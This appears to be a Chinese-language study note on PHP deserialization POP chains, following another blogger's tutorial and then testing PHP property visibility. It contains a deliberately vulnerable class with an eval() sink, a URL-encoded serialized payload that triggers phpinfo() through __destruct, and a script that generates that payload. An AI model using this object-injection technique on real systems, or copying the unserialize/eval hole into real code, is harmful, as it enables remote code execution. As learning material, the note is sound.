smile師傅的帖子
這邊主要是師傅給出的例子代碼分析
//直接貼smile師傅里的東西了
__construct()當(dāng)一個對象創(chuàng)建時被調(diào)用叹卷,但在unserialize()時是不會自動調(diào)用的。
__destruct()當(dāng)一個對象銷毀時被調(diào)用
__toString()當(dāng)一個對象被當(dāng)作一個字符串使用
__sleep() 在對象在被序列化之前運行
__wakeup將在序列化之后立即被調(diào)用
覺得師傅關(guān)于pop鏈寫的挺通俗易懂的
具體分析師傅博客里都寫了,我就不一直貼了歹河,一直貼怪不好意思的。
這篇相當(dāng)于一點筆記....
//smiletest.php
<?php
class Smile
{
protected $ClassObj;
function __construct()
{
$this->ClassObj = new safe();
}
function __destruct()
{
$this->ClassObj->action();
}
}
class safe
{
function action()
{
echo "here is safe";
}
}
class unsafe
{
private $data;
function action()
{
eval($this->data);
}
}
$b = "O%3A5%3A%22Smile%22%3A1%3A%7Bs%3A11%3A%22%00%2A%00ClassObj%22%3BO%3A6%3A%22unsafe%22%3A1%3A%7Bs%3A12%3A%22%00unsafe%00data%22%3Bs%3A10%3A%22phpinfo%28%29%3B%22%3B%7D%7D";
$c = unserialize(urldecode($b));
?>
這是存在漏洞的代碼,方便測試经备,我把get獲得序列化字符串換成了變量侵蒙。
源payload的php我就不貼了蘑志,師傅的博客里有贬派,執(zhí)行下來獲得的payload就是變量b的值了∏攵兀可以執(zhí)行phpinfo撒穷。
按照我的思路在payload上改了一下
//smileshell.php
<?php
class Smile
{
protected $ClassObj;
// function __construct()
// {
// $this->ClassObj = new unsafe();
// }
}
class unsafe
{
private $data;
}
$a = new Smile();
$a->ClassObj = new unsafe();
$a->ClassObj->data = "phpinfo();";
echo urlencode(serialize($a)).PHP_EOL;
// O%3A5%3A%22Smile%22%3A1%3A%7Bs%3A11%3A%22%00%2A%00ClassObj%22%3BO%3A6%3A%22unsafe%22%3A1%3A%7Bs%3A12%3A%22%00unsafe%00data%22%3Bs%3A10%3A%22phpinfo%28%29%3B%22%3B%7D%7D
?>
欸入录,這里報錯了僚稿,告訴我ClassObj無法訪問。
這里可以看到訪問控制蠢络,public,protected,private谢肾。
搜了搜,還真有一篇php的
訪問控制微姊,三個修飾符的區(qū)別
但是csdn,em...改了之后復(fù)制代碼不舒服兢交,于是比著這個師傅的代碼自己寫了一個測試
<?php
//class_control.php
/**
*
*/
class test
{
public $pub = "pub";
protected $pro = "pro";
private $pri = "pri";
function printtest()
{
echo $this->pub.PHP_EOL;
echo $this->pro.PHP_EOL;
echo $this->pri.PHP_EOL;
}
}
$a = new test();
// echo $a->pub.PHP_EOL;
// echo $a->pro.PHP_EOL;
// echo $a->pri.PHP_EOL;
$a->pub = "newpub";
// $a->pro = "newpro";
// $a->pri = "newpri";
$a->printtest();
?>
實驗一下就可以看出來,pro和pri外部無法訪問被济,不能賦值,不能輸出钮追。pub都可以。應(yīng)該還有更詳細的區(qū)別,這里就實驗到這里惠毁。
所以腰埂,在php反序列化賦值的時候
使用__construct魔術(shù)方法賦值的好處就是很穩(wěn)妥,無論什么樣的變量驴一,都可以這樣賦值肝断。
而如果想在獲取序列化字符串時,只在類中定義變量趣钱,而在外部賦值,可能就會出現(xiàn)無法訪問變量的報錯井联。
想把public改成protected...em....反序列化出來應(yīng)該不行吧....試一試。
試了,⑧行,只要把代碼改一改就行了率触,就不貼了穴张。
這樣就明白了為什么大佬的payload里面都是使用__construct賦值的